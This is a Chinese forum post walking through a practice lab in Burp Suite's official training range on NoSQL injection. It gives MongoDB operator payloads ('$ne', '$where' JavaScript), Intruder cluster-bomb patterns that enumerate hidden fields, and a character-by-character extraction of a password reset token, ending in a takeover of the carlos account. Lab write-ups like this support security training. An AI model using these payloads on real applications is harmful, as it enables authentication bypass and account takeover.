发帖
 找回密码
 立即注册
搜索
0 0

WEB bp官方靶场NOSQL注入漏洞4

CTF练习 1201 0 2025-9-1 09:02:00

第四关 利用 NoSQL 运算符注入提取未知字段

**这一关就是利用 NoSQL 运算符注入,**枚举并提取数据库中未知的字段名

提示:1、本实验的用户查找功能由 MongoDB NoSQL 数据库提供支持。它容易受到 NoSQL 注入的攻击。

2、要解决实验室问题,请以 carlos 身份登录。

3、要解决该实验室问题,首先需要泄露用户的密码重置令牌的值carlos

具体操作:

1、在bp运行时,登录用户carlos:随便写个密码,页面响应返回“Invalid username or password”

2、找到触发的登录的POST /login数据包,发往repeater

3、在“repeater”中,将密码参数的值:

"password":"124324"
改成
"password":{
"$ne":"invalid"
}

响应返回了:显示账户锁定的错误消息

无法访问 Carlos 的帐户,但此响应表明 $ne 运算符已被接受,并且应用程序易受攻击。

3、然后尝试重置 carlos 帐户的密码

点击Forgot password——输入要重置密码的用户carlos——生成重置密码的链接 ——但是没有邮件客户端可以点击链接进行激活重置

也就是说,当提交 carlos 用户名时,请注意重置机制涉及电子邮件验证,因此我无法自行重置帐户

4、接着在 Repeater 中,使用 POST /login 请求测试应用程序是否容易受到 JavaScript 注入的攻击

在 JSON 数据中:

添加 “$where”: “0” 作为附加参数

添加一个"$where":"0"
就成了
"username":"carlos",
"password":{
"$ne":"invalid"
},
"$where":"0"
​
​
解释:
$where 操作符允许执行任意 JavaScript 代码,执行 JavaScript 表达式(高危)
"$where": "0" 这个写法是 NoSQL(主要是 MongoDB)注入中经常见到的一个 payload,它的意思就是让条件恒为假,即不返回任何数据。

响应返回:没有任何数据返回,只显示了无效的用或者密码

**然后再尝试更改 "$where": "0" 改成 "$where": "1" **

"username":"carlos",
"password":{
"$ne":"invalid"
},
"$where":"1"

响应返回:帐户锁定错误消息

表示正在评估 $where 子句中的 JavaScript。

5、右键单击请求,然后选择发送给intruder

在 Intruder 中,构建攻击来识别用户对象上的所有字段:

原本的 $where 参数:

 "$where":"Object.keys(this)[1].match('^.{}.*')"

添加两个有效负载位置。第一个标识字符位置编号,以及 第二个标识字符本身:

改成"$where":"Object.keys(this)[1].match('^.{§§}§§.*')"

从攻击类型下拉菜单中选择集束炸弹攻击

在 有效负载(Payloads) 侧面板中,从有效负载位置(Payload position) 下拉列表中选择位置 1,然后将 有效负载类型设置为 数字。设置数字范围,例如从 0 到 20。

从有效负载位置下拉列表中选择位置 2,并确保将有效负载类型设置为 简单列表。将所有数字、小写字母和大写字母添加为有效负载,则可以使用内置的单词列表 a-z、AZ 和 0-9。

线程池保持默认开始攻击

1、先点击payloads1进行排序

2、再点击长度进行排序

爆破出用户名:username

然后重复上述步骤以确定更多 JSON 参数。可以这样做 通过每次尝试递增 keys 数组的索引

比如:

 "$where":"Object.keys(this)[2].match('^.{}.*')"
 改成
 改成"$where":"Object.keys(this)[2].match('^.{§§}§§.*')"

payload设置和线程池都跟上面第一个爆破一样,然后开始攻击

爆破出来的字段名:password

然后再尝试第三个:

 "$where":"Object.keys(this)[3].match('^.{}.*')"
 改成
 改成"$where":"Object.keys(this)[3].match('^.{§§}§§.*')"

payload设置和线程池都跟上面第一个爆破一样,然后开始攻击

爆破出来的是:email

然后尝试改成4:

 "$where":"Object.keys(this)[4].match('^.{}.*')"
 改成
 改成"$where":"Object.keys(this)[4].match('^.{§§}§§.*')"

爆破出来的是重置令牌名称resetToken

知道了其中一个 JSON 参数用于密码重置令牌,也就是resetToken

6、然后在代理 的HTTP 历史记录中,将 GET /forgot-password ,右键单击请求,然后选择发送到repeater,它与密码重置功能相关

在 Repeater 中,提交 URL 中的无效字段: GET /forgot-password?foo=invalid ,

加了一个参数,响应还是和原来的一样

在 URL 中提交密码重置令牌字段的泄露名称:

GET /forgot-password?resetToken=invalid

响应:令牌无效错误消息,这确认我拥有正确的令牌名称和终结点。

**然后在 Intruder 中,使用 POST /login 请求构建攻击 **

提取 Carlos 的密码重置令牌的值:

保留上一次攻击的设置,更新 $where 参数

改成:"$where":"this.resetToken.match('^.{§§}§§.*')"
​
就成了:
​
"username":"carlos",
"password":{
  "$ne":"invalid"
},
"$where":"this.resetToken.match('^.{§§}§§.*')"

payloads还跟之前一样

在 有效负载(Payloads) 侧面板中,从有效负载位置(Payload position) 下拉列表中选择位置 1,然后将 有效负载类型设置为 数字。设置数字范围,例如从 0 到 20。

从有效负载位置下拉列表中选择位置 2,并确保将有效负载类型设置为 简单列表。将所有数字、小写字母和大写字母添加为有效负载,则可以使用内置的单词列表 a-z、AZ 和 0-9。

开始攻击

按有效负载 1 和长度对攻击结果进行排序,以识别带有帐户锁定消息而不是无效用户名或密码消息的响应。请注意有效负载 2 列中的字母。

这是token的值:c43e075b7d71f611

7、然后在 Repeater 中,提交 GET / forgot-password 请求 URL 中的密码重置令牌值: GET /forgot-password?resetToken=c43e075b7d71f611

resetToken=c43e075b7d71f611

加了爆破出来的token,响应返回了carlos的重置密码页面

复制响应的url到浏览器,然后重置密码为123456,接着就用carlos:123456,进行登录,靶场过关

──── 0人觉得很赞 ────
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回